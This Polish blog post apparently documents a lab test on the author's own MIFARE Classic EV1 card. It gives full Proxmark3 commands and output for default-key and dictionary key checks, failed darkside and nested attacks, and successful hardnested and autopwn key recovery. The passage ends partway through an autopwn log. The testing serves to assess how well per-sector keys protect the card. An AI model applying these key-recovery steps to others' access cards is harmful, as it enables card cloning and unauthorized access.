W tym poście chciałbym opisać sposób w jaki można uzyskać dane do sektora z karty Mifare Classic EV1.
Przejdę przez te same komendy, które zostały wywołane w poprzednim poście.
Na samym początku odczyt karty:
- [usb] pm3 --> hf search
- [|] Searching for ISO14443-A tag...
- [+] UID: 22 B5 8E 4B
- [+] ATQA: 00 04
- [+] SAK: 08 [2]
- [+] Possible types:
- [+] MIFARE Classic 1K
- [=] proprietary non iso14443-4 card found, RATS not supported
- [+] Prng detection: hard
- [=]
- [=] --- Tag Signature
- [=] IC signature public key name: NXP Mifare Classic MFC1C14_x
- [=] IC signature public key value: 044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF
- [=] Elliptic curve parameters: NID_secp128r1
- [=] TAG IC Signature: 637E51E40DD32249A9793FB1F3661BA986D809C7186271D93E7768F1451F7CF2
- [+] Signature verification: successful
- [?] Hint: try `hf mf` commands
Jak widać powyżej karta ma PRNG detection jako hard.
Odczytujemy dane dla sektora 9:
- [usb] pm3 --> hf mf rdsc -s 9
- [=] # | sector 09 / 0x09 | ascii
- [=] ----+-------------------------------------------------+-----------------
- [=] 36 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
- [=] 37 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
- [=] 38 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
- [=] 39 | 00 00 00 00 00 00 FF 07 80 69 FF FF FF FF FF FF | .........i......
Prawdopodobnie dane dla klucza A są ustawiona na zero, ponieważ jego używa domyślnie do odczytania danych. Tak naprawdę wartość tego klucza to nie 000000000000 tylko FFFFFFFFFFFF.
Teraz programuje dane na karcie oraz wprowadzam klucz:
- [usb] pm3 --> hf mf wrbl --blk 36 -d 000102030405060708090a0b0c0d0e0f
- [=] Writing block no 36, key A - FFFFFFFFFFFF
- [=] data: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
- [+] Write ( ok )
- [?] try `hf mf rdbl` to verify
- READ BLOCK
- [usb] pm3 --> hf mf rdbl --blk 36
- [=] # | sector 09 / 0x09 | ascii
- [=] ----+-------------------------------------------------+-----------------
- [=] 36 | 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................
- [usb] pm3 --> hf mf wrbl --blk 39 -d 7302F49034A3FF078069349402648902
- [=] Sector trailer (ST) write detected
- [+] ST passed checks, continuing...
- [=] Writing block no 39, key A - FFFFFFFFFFFF
- [=] data: 73 02 F4 90 34 A3 FF 07 80 69 34 94 02 64 89 02
- [+] Write ( ok )
- [?] try `hf mf rdbl` to verify
- [usb] pm3 --> hf mf rdbl --blk 36 -k 7302F49034A3
- [=] # | sector 09 / 0x09 | ascii
- [=] ----+-------------------------------------------------+-----------------
- [=] 36 | 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................
Jak widać dane zostały wpisane do bloku 36. Klucze do sektora 9 zostały wpisane w bloku 39. Klucz A to 7302F49034A3.
Teraz można sprawdzić czy uda się uzyskać klucz z karty:
Najpierw sprawdzamy czy klucz jest wśród standardowych kluczy.
- [usb] pm3 --> hf mf chk
- [+] loaded 56 keys from hardcoded default array
- [=] Start check for keys...
- [=] .................................
- [=] time in checkkeys 3 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 002 | 011 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 003 | 015 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 004 | 019 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 005 | 023 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 006 | 027 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 007 | 031 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 008 | 035 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 011 | 047 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 012 | 051 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 013 | 055 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 014 | 059 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Rozszerzamy bazę kluczy:
- [usb] pm3 --> hf mf chk -a --tblk 36 -f mfc_default_keys.dic
- [+] loaded 56 keys from hardcoded default array
- [+] loaded 1688 keys from dictionary file D:\Proxmark3\proxmark\ProxSpace-master\ProxSpace-master\pm3\proxmark3\client\dictionaries/mfc_default_keys.dic
- [+] loaded 1688 keys from dictionary
- [=] Start check for keys...
- [=] ......................
- [=] time in checkkeys 12 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | ------------ | 0 | ------------ | 0
- [+] 001 | 007 | ------------ | 0 | ------------ | 0
- [+] 002 | 011 | ------------ | 0 | ------------ | 0
- [+] 003 | 015 | ------------ | 0 | ------------ | 0
- [+] 004 | 019 | ------------ | 0 | ------------ | 0
- [+] 005 | 023 | ------------ | 0 | ------------ | 0
- [+] 006 | 027 | ------------ | 0 | ------------ | 0
- [+] 007 | 031 | ------------ | 0 | ------------ | 0
- [+] 008 | 035 | ------------ | 0 | ------------ | 0
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | ------------ | 0 | ------------ | 0
- [+] 011 | 047 | ------------ | 0 | ------------ | 0
- [+] 012 | 051 | ------------ | 0 | ------------ | 0
- [+] 013 | 055 | ------------ | 0 | ------------ | 0
- [+] 014 | 059 | ------------ | 0 | ------------ | 0
- [+] 015 | 063 | ------------ | 0 | ------------ | 0
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Dalej nie ma żadnych wyników dotyczących sektora 9.
- [usb] pm3 --> hf mf fchk
- [+] loaded 56 keys from hardcoded default array
- [=] Running strategy 1
- [=] Chunk 0.9s | found 30/32 keys (56)
- [=] Running strategy 2
- [=] Chunk 0.9s | found 30/32 keys (56)
- [=] time in checkkeys (fast) 1.9s
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 002 | 011 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 003 | 015 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 004 | 019 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 005 | 023 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 006 | 027 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 007 | 031 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 008 | 035 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 011 | 047 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 012 | 051 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 013 | 055 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 014 | 059 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Teraz sprawdzę darskside oraz nestedattack:
- [usb] pm3 --> hf mf nested --1k --blk 36 -a -k FFFFFFFFFFFF
- [+] Testing known keys. Sector count 16
- [=] Chunk 1.0s | found 30/32 keys (57)
- [+] Time to check 56 known keys: 1 seconds
- [+] enter nested key recovery
- [-] Tag isn't vulnerable to Nested Attack (PRNG is not predictable)
- [usb] pm3 --> hf mf darkside
- [=] Expected execution time is about 25seconds on average
- [=] Press pm3-button to abort
- [=] Running darkside .[-] card is not vulnerable to Darkside attack (its random number generator is not predictable)
Ponieważ PRNG jest hard, to nie ma możliwości przeprowadzenia żadnego z tych ataków.
Atak typu hardnested, jest duzo bardziej skuteczny w odzyskaniu klucza z karty:
- pm3 --> hf mf hardnested --tblk 36 --ta
- [=] MIFARE Classic EV1 card detected
- [=] Target block no 36, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: No, Tests: 0
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1412 million (2^30.4) keys/s | 140737488355328 | 28h
- [=] 3 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 2757 ms | 140737488355328 | 28h
- [=] 3 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 28h
- [=] 6 | 112 | Apply bit flip properties | 103272620032 | 73s
- [=] 7 | 223 | Apply bit flip properties | 26049955840 | 18s
- [=] 8 | 335 | Apply bit flip properties | 25908549632 | 18s
- [=] 9 | 445 | Apply bit flip properties | 23665225728 | 17s
- [=] 10 | 556 | Apply bit flip properties | 23594504192 | 17s
- [=] 10 | 667 | Apply bit flip properties | 23594504192 | 17s
- [=] 11 | 777 | Apply bit flip properties | 23594504192 | 17s
- [=] 11 | 888 | Apply bit flip properties | 23594504192 | 17s
- [=] 12 | 1000 | Apply bit flip properties | 23594504192 | 17s
- [=] 13 | 1110 | Apply bit flip properties | 23594504192 | 17s
- [=] 15 | 1220 | Apply Sum property. Sum(a0) = 160 | 755536256 | 1s
- [=] 15 | 1330 | Apply bit flip properties | 1134987392 | 1s
- [=] 16 | 1439 | Apply bit flip properties | 1134987392 | 1s
- [=] 17 | 1550 | Apply bit flip properties | 1259224832 | 1s
- [=] 18 | 1659 | Apply bit flip properties | 1259224832 | 1s
- [=] 19 | 1768 | Apply bit flip properties | 1045011584 | 1s
- [=] 19 | 1768 | (1. guess: Sum(a8) = 192) | 1045011584 | 1s
- [=] 20 | 1768 | Apply Sum(a8) and all bytes bitflip properties | 1045011584 | 1s
- [=] 20 | 1768 | (2. guess: Sum(a8) = 128) | 1476470272 | 1s
- [=] 22 | 1768 | Apply Sum(a8) and all bytes bitflip properties | 1096956032 | 1s
- [=] 23 | 1768 | (3. guess: Sum(a8) = 160) | 1175331200 | 1s
- [=] 24 | 1768 | Apply Sum(a8) and all bytes bitflip properties | 1160005248 | 1s
- [=] 24 | 1768 | (4. guess: Sum(a8) = 144) | 1836183552 | 1s
- [=] 25 | 1768 | Apply Sum(a8) and all bytes bitflip properties | 1771113856 | 1s
- [=] 25 | 1768 | (5. guess: Sum(a8) = 136) | 2639051520 | 2s
- [=] 26 | 1768 | Apply Sum(a8) and all bytes bitflip properties | 2581978624 | 2s
- [=] 27 | 1768 | Brute force phase completed. Key found: 7302F49034A3 | 0 | 0s
Atak typu hardnested poradził sobie z odzyskaniem klucza do karty.
Wobec tego nie udało się uzyskać klucza atakiem darkside bądź nested. Natomiast wyciągnięcie klucza wykorzystując hardnested było bardzo szybkie.
W takim wypadku jedynym sensownym rozwiązaniem, gdy już chcemy zostać przy kartach mifare, będzie zabezpieczenie każdego sektora karty osobnymi kluczami. Taki zabieg pozwoli maksymalnie utrudnić odczyt danych, natomiast do tego celu nie potrzebujemy kart z PRNG hard (jeśli chodzi o chip MFC1C14_X) .
Sprawdzę teraz zabezpieczenie każdego sektora kluczami.
Wgrywam klucze do setorów, sektor 9 jest już zabezpieczony więc go pomijam:
- hf mf wrbl --blk 3 -d DA99871DC5E4FF0780697BC6E7BFE085
- hf mf wrbl --blk 7 -d 94F906BEF571FF0780694ECD92B8C45D
- hf mf wrbl --blk 11 -d DD523D494104FF0780699F893FA140C4
- hf mf wrbl --blk 15 -d 27C844CD770CFF0780691BF96012B2A3
- hf mf wrbl --blk 19 -d 44CD1CA09AB5FF078069C8AE2B84F86F
- hf mf wrbl --blk 23 -d 77715642F5A5FF078069C9125E6EE40B
- hf mf wrbl --blk 27 -d A5736B7EFE59FF078069E2C3C6E8D31E
- hf mf wrbl --blk 31 -d F4D48B525BDAFF078069CD4220FA191A
- hf mf wrbl --blk 35 -d 8C02CD5E7E05FF0780696664BE32FD1A
- hf mf wrbl --blk 43 -d A5474F99C4AEFF078069B407BDD1B160
- hf mf wrbl --blk 47 -d 042DDB3277B5FF078069C87A09035983
- hf mf wrbl --blk 51 -d 13E76046FC18FF078069997B77CEE136
- hf mf wrbl --blk 55 -d FEF7587DE5EEFF07806950687863A3B9
- hf mf wrbl --blk 59 -d 34B537834116FF07806935AFC49A5EAB
- hf mf wrbl --blk 63 -d 2967C9FD23B3FF078069F89E24602439
Poniżej przejdę przez wszystkie ataki wprowadzane wcześniej:
Sprawdzanie domyślnymi kluczami
- [usb] pm3 --> hf mf chk
- [+] loaded 56 keys from hardcoded default array
- [=] Start check for keys...
- [=] .................................
- [=] time in checkkeys 15 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | ------------ | 0 | ------------ | 0
- [+] 001 | 007 | ------------ | 0 | ------------ | 0
- [+] 002 | 011 | ------------ | 0 | ------------ | 0
- [+] 003 | 015 | ------------ | 0 | ------------ | 0
- [+] 004 | 019 | ------------ | 0 | ------------ | 0
- [+] 005 | 023 | ------------ | 0 | ------------ | 0
- [+] 006 | 027 | ------------ | 0 | ------------ | 0
- [+] 007 | 031 | ------------ | 0 | ------------ | 0
- [+] 008 | 035 | ------------ | 0 | ------------ | 0
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | ------------ | 0 | ------------ | 0
- [+] 011 | 047 | ------------ | 0 | ------------ | 0
- [+] 012 | 051 | ------------ | 0 | ------------ | 0
- [+] 013 | 055 | ------------ | 0 | ------------ | 0
- [+] 014 | 059 | ------------ | 0 | ------------ | 0
- [+] 015 | 063 | ------------ | 0 | ------------ | 0
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Bruteforce z rozszerzoną bazą kluczy na jeden z sektorów:
- [usb] pm3 --> hf mf chk -a --tblk 19 -f mfc_default_keys.dic
- [+] loaded 56 keys from hardcoded default array
- [+] loaded 1688 keys from dictionary file D:\Proxmark3\proxmark\ProxSpace-master\ProxSpace-master\pm3\proxmark3\client\dictionaries/mfc_default_keys.dic
- [+] loaded 1688 keys from dictionary
- [=] Start check for keys...
- [=] ......................
- [=] time in checkkeys 12 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | ------------ | 0 | ------------ | 0
- [+] 001 | 007 | ------------ | 0 | ------------ | 0
- [+] 002 | 011 | ------------ | 0 | ------------ | 0
- [+] 003 | 015 | ------------ | 0 | ------------ | 0
- [+] 004 | 019 | ------------ | 0 | ------------ | 0
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Na wszystkie sektory:
- [usb] pm3 --> hf mf chk -a -f mfc_default_keys.dic
- [+] loaded 56 keys from hardcoded default array
- [+] loaded 1688 keys from dictionary file D:\Proxmark3\proxmark\ProxSpace-master\ProxSpace-master\pm3\proxmark3\client\dictionaries/mfc_default_keys.dic
- [+] loaded 1688 keys from dictionary
- [=] Start check for keys...
- [=] .................................................................................................................................................................................................................................................................................................................................................
- [=] time in checkkeys 197 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | ------------ | 0 | ------------ | 0
- [+] 001 | 007 | ------------ | 0 | ------------ | 0
- [+] 002 | 011 | ------------ | 0 | ------------ | 0
- [+] 003 | 015 | ------------ | 0 | ------------ | 0
- [+] 004 | 019 | ------------ | 0 | ------------ | 0
- [+] 005 | 023 | ------------ | 0 | ------------ | 0
- [+] 006 | 027 | ------------ | 0 | ------------ | 0
- [+] 007 | 031 | ------------ | 0 | ------------ | 0
- [+] 008 | 035 | ------------ | 0 | ------------ | 0
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | ------------ | 0 | ------------ | 0
- [+] 011 | 047 | ------------ | 0 | ------------ | 0
- [+] 012 | 051 | ------------ | 0 | ------------ | 0
- [+] 013 | 055 | ------------ | 0 | ------------ | 0
- [+] 014 | 059 | ------------ | 0 | ------------ | 0
- [+] 015 | 063 | ------------ | 0 | ------------ | 0
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Ten atak najłatwiej przeprowadzić z wykorzystaniem telefonu komórkowego i ogólnie dostępnych aplikacji. Z tego powodu uważam, że karty mifare przygotowywane dla nowego systemu (oczywiście jeśli nie można użyć czegoś lepszego) należy sprawdzać pod podatnością na tego typu atak. Najprościej przez wykorzystanie aplikacji Mifare Classic Tool z ich bazą kluczy.
Kolejna metoda sprawdzania klucza:
- [usb] pm3 --> hf mf fchk
- [+] loaded 56 keys from hardcoded default array
- [=] Running strategy 1
- [=] Chunk 0.8s | found 0/32 keys (56)
- [=] Running strategy 2
- [=] ....
- [=] Chunk 9.6s | found 0/32 keys (56)
- [=] time in checkkeys (fast) 10.4s
- [!] No keys found
Nested attack nie może zostać przeprowadzony ponieważ nie znamy żadnego klucza do karty.
Darkside attack taże nie może zostać wykonany:
- [usb] pm3 --> hf mf darkside
- [=] Expected execution time is about 25seconds on average
- [=] Press pm3-button to abort
- [=] Running darkside .[-] card is not vulnerable to Darkside attack (its random number generator is not predictable)
Hardnested:
- [usb] pm3 --> hf mf hardnested --tblk 36 --ta
- [=] MIFARE Classic EV1 card detected
- [=] Target block no 36, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: No, Tests: 0
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1303 million (2^30.3) keys/s | 140737488355328 | 30h
- [=] 4 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 3457 ms | 140737488355328 | 30h
- [=] 4 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 30h
- [=] 7 | 112 | Apply bit flip properties | 198402670592 | 3min
- [=] 8 | 224 | Apply bit flip properties | 34690666496 | 27s
- [=] 9 | 335 | Apply bit flip properties | 24261009408 | 19s
- [=] 9 | 447 | Apply bit flip properties | 24261009408 | 19s
- [=] 10 | 558 | Apply bit flip properties | 23594504192 | 18s
- [=] 11 | 670 | Apply bit flip properties | 23594504192 | 18s
- [=] 12 | 780 | Apply bit flip properties | 23594504192 | 18s
- [=] 12 | 892 | Apply bit flip properties | 23594504192 | 18s
- [=] 13 | 1004 | Apply bit flip properties | 23594504192 | 18s
- [=] 14 | 1115 | Apply bit flip properties | 23594504192 | 18s
- [=] 15 | 1224 | Apply bit flip properties | 23594504192 | 18s
- [=] 16 | 1336 | Apply bit flip properties | 23594504192 | 18s
- [=] 17 | 1444 | Apply bit flip properties | 23594504192 | 18s
- [=] 17 | 1550 | Apply bit flip properties | 23594504192 | 18s
- [=] 18 | 1657 | Apply bit flip properties | 23594504192 | 18s
- [=] 19 | 1766 | Apply bit flip properties | 23594504192 | 18s
- [=] 20 | 1875 | Apply bit flip properties | 23594504192 | 18s
- [=] 22 | 1979 | Apply Sum property. Sum(a0) = 160 | 660372672 | 1s
- [=] 22 | 2088 | Apply bit flip properties | 660372672 | 1s
- [=] 23 | 2197 | Apply bit flip properties | 660372672 | 1s
- [=] 24 | 2304 | Apply bit flip properties | 672420032 | 1s
- [=] 25 | 2414 | Apply bit flip properties | 531998400 | 0s
- [=] 26 | 2414 | (1. guess: Sum(a8) = 64) | 531998400 | 0s
- [=] 26 | 2414 | Apply Sum(a8) and all bytes bitflip properties | 430526272 | 0s
- [=] 26 | 2414 | (2. guess: Sum(a8) = 32) | 812436288 | 1s
- [=] 26 | 2414 | Apply Sum(a8) and all bytes bitflip properties | 812437376 | 1s
- [=] 26 | 2414 | (3. guess: Sum(a8) = 96) | 1145080064 | 1s
- [=] 27 | 2414 | Apply Sum(a8) and all bytes bitflip properties | 1103420800 | 1s
- [=] 28 | 2414 | (4. guess: Sum(a8) = 128) | 1735073408 | 1s
- [=] 31 | 2414 | Apply Sum(a8) and all bytes bitflip properties | 1305985536 | 1s
- [=] 32 | 2414 | Brute force phase completed. Key found: 7302F49034A3 | 0 | 0s
Atak hardnested wygenerował klucz, natomiast nie jest ok poprawny. Wykonywałem go kilkukrotnie dla różnych sektorów z podobnym skutkiem. Natomiast po zmianie parametrów komendy i odczycie danych z sektora 0 w formacie hf mf hardnested -s udało się odzyskać pierwszy klucz. Ten atak prawdopodobnie najlepiej sprawdzi się dla sektora 0.
- [usb] pm3 --> hf mf hardnested -s
- [=] MIFARE Classic EV1 card detected
- [=] Target block no 0, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: Yes, Tests: 0
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1047 million (2^30.0) keys/s | 140737488355328 | 2d
- [=] 4 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 3773 ms | 140737488355328 | 2d
- [=] 4 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 2d
- [=] 8 | 112 | Apply bit flip properties | 812346310656 | 13min
- [=] 9 | 224 | Apply bit flip properties | 577737392128 | 9min
- [=] 10 | 336 | Apply bit flip properties | 502984081408 | 8min
- [=] 10 | 448 | Apply bit flip properties | 497112612864 | 8min
- [=] 11 | 559 | Apply bit flip properties | 497112612864 | 8min
- [=] 12 | 671 | Apply bit flip properties | 497112612864 | 8min
- [=] 13 | 779 | Apply bit flip properties | 497112612864 | 8min
- [=] 13 | 888 | Apply bit flip properties | 497112612864 | 8min
- [=] 14 | 997 | Apply bit flip properties | 497112612864 | 8min
- [=] 15 | 1108 | Apply bit flip properties | 497112612864 | 8min
- [=] 16 | 1219 | Apply bit flip properties | 497112612864 | 8min
- [=] 17 | 1328 | Apply bit flip properties | 497112612864 | 8min
- [=] 18 | 1436 | Apply bit flip properties | 497112612864 | 8min
- [=] 19 | 1546 | Apply bit flip properties | 497112612864 | 8min
- [=] 20 | 1654 | Apply bit flip properties | 497112612864 | 8min
- [=] 20 | 1766 | Apply bit flip properties | 497112612864 | 8min
- [=] 21 | 1873 | Apply bit flip properties | 497112612864 | 8min
- [=] 22 | 1984 | Apply bit flip properties | 497112612864 | 8min
- [=] 23 | 2093 | Apply bit flip properties | 497112612864 | 8min
- [=] 24 | 2202 | Apply bit flip properties | 497112612864 | 8min
- [=] 27 | 2308 | Apply Sum property. Sum(a0) = 160 | 3373896448 | 3s
- [=] 27 | 2416 | Apply bit flip properties | 2925571072 | 3s
- [=] 28 | 2523 | Apply bit flip properties | 2925571072 | 3s
- [=] 29 | 2628 | Apply bit flip properties | 2925571072 | 3s
- [=] 30 | 2628 | (1. guess: Sum(a8) = 256) | 2925571072 | 3s
- [=] 30 | 2628 | Apply Sum(a8) and all bytes bitflip properties | 1048487936 | 1s
- [=] 30 | 2628 | Brute force phase completed. Key found: DA99871DC5E4 | 0 | 0s
Jak widać atakowany był blok 0, klucz A. Odczytany klucz to DA99871DC5E4.
Po wywołaniu wyżej wspomnianej komendy polecenia hf mf hardnested --tblk 50 -ta, zaczęły generować poprawne klucze. Wynika to z tego, że po odczycie kart Proxmark generuje pliku -dump.* z danymi z karty. Podczas kolejnych ataków pobiera sobie z nich dane,. przez co ataki na inne sektory zaczynają być skuteczne.
- [usb] pm3 --> hf mf rdbl --blk 0 -k DA99871DC5E4
- [=] # | sector 00 / 0x00 | ascii
- [=] ----+-------------------------------------------------+-----------------
- [=] 0 | 22 B5 8E 4B 52 88 04 00 C8 17 00 20 00 00 00 18 | "..KR...... ....
- [usb] pm3 --> hf mf hardnested --tblk 50 --ta
- [=] MIFARE Classic EV1 card detected
- [=] Target block no 50, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: No, Tests: 0
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1263 million (2^30.2) keys/s | 140737488355328 | 31h
- [=] 3 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 2755 ms | 140737488355328 | 31h
- [=] 3 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 31h
- [=] 6 | 112 | Apply bit flip properties | 27266465792 | 22s
- [=] 7 | 224 | Apply bit flip properties | 4431189504 | 4s
- [=] 8 | 336 | Apply bit flip properties | 1083295104 | 1s
- [=] 9 | 446 | Apply bit flip properties | 751736960 | 1s
- [=] 10 | 558 | Apply bit flip properties | 614879296 | 0s
- [=] 10 | 670 | Apply bit flip properties | 614879296 | 0s
- [=] 11 | 782 | Apply bit flip properties | 614879296 | 0s
- [=] 12 | 891 | Apply bit flip properties | 614879296 | 0s
- [=] 12 | 1002 | Apply bit flip properties | 614879296 | 0s
- [=] 13 | 1110 | Apply bit flip properties | 614879296 | 0s
- [=] 15 | 1221 | Apply Sum property. Sum(a0) = 120 | 55341064 | 0s
- [=] 15 | 1221 | (Ignoring Sum(a8) properties) | 55341064 | 0s
- [=] 15 | 1221 | Brute force phase completed. Key found: 13E76046FC18 | 0 | 0s
W związku z tym, że jest to karta z PRNG hard. To odzyskanie wszystkich kluczy należy wykonać komendą hardnested lub autopwn. W przypadku kart z PRNG weak, odzyskanie pozostałych kluczy może być przeprowadzone komendą nested, gdzie jedną komendą odczytamy całą kartę.
Gdy już udało się zdobyć jeden z kluczy, to wywołam komendę autopwn, wykonuje ona kilka strategii pozwalających na uzyskanie kluczy między innymi wielokrotne wywołanie komendy hardnested. Dzięki temu nie musimy wielokrotnie wywoływać tej komendy ręcznie.
- [usb] pm3 --> hf mf autopwn -s 0 -a -k DA99871DC5E4
- [=] MIFARE Classic EV1 card detected
- [=] [0] key DA 99 87 1D C5 E4
- [+] loaded 1 keys supplied by user
- [+] loaded 56 keys from hardcoded default array
- [=] running strategy 1
- [=] .....
- [=] Chunk 10.1s | found 6/36 keys (57)
- [=] running strategy 2
- [=] ....
- [=] Chunk 9.8s | found 6/36 keys (57)
- [+] target sector 0 key type A -- found valid key [ DA99871DC5E4 ]
- [+] target sector 0 key type B -- found valid key [ 7BC6E7BFE085 ]
- [+] target sector 16 key type A -- found valid key [ 5C8FF9990DA2 ]
- [+] target sector 16 key type B -- found valid key [ D01AFEEB890A ]
- [+] target sector 17 key type A -- found valid key [ 75CCB59C9BED ]
- [+] target sector 17 key type B -- found valid key [ 4B791BEA7BCC ]
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1236 million (2^30.2) keys/s | 140737488355328 | 32h
- [=] 3 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 2769 ms | 140737488355328 | 32h
- [=] 3 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 32h
- [=] 6 | 112 | Apply bit flip properties | 1135988178944 | 15min
- [=] 7 | 224 | Apply bit flip properties | 564137230336 | 8min
- [=] 8 | 335 | Apply bit flip properties | 518060703744 | 7min
- [=] 9 | 447 | Apply bit flip properties | 497112612864 | 7min
- [=] 10 | 558 | Apply bit flip properties | 497112612864 | 7min
- [=] 11 | 668 | Apply bit flip properties | 497112612864 | 7min
- [=] 11 | 780 | Apply bit flip properties | 497112612864 | 7min
- [=] 12 | 892 | Apply bit flip properties | 497112612864 | 7min
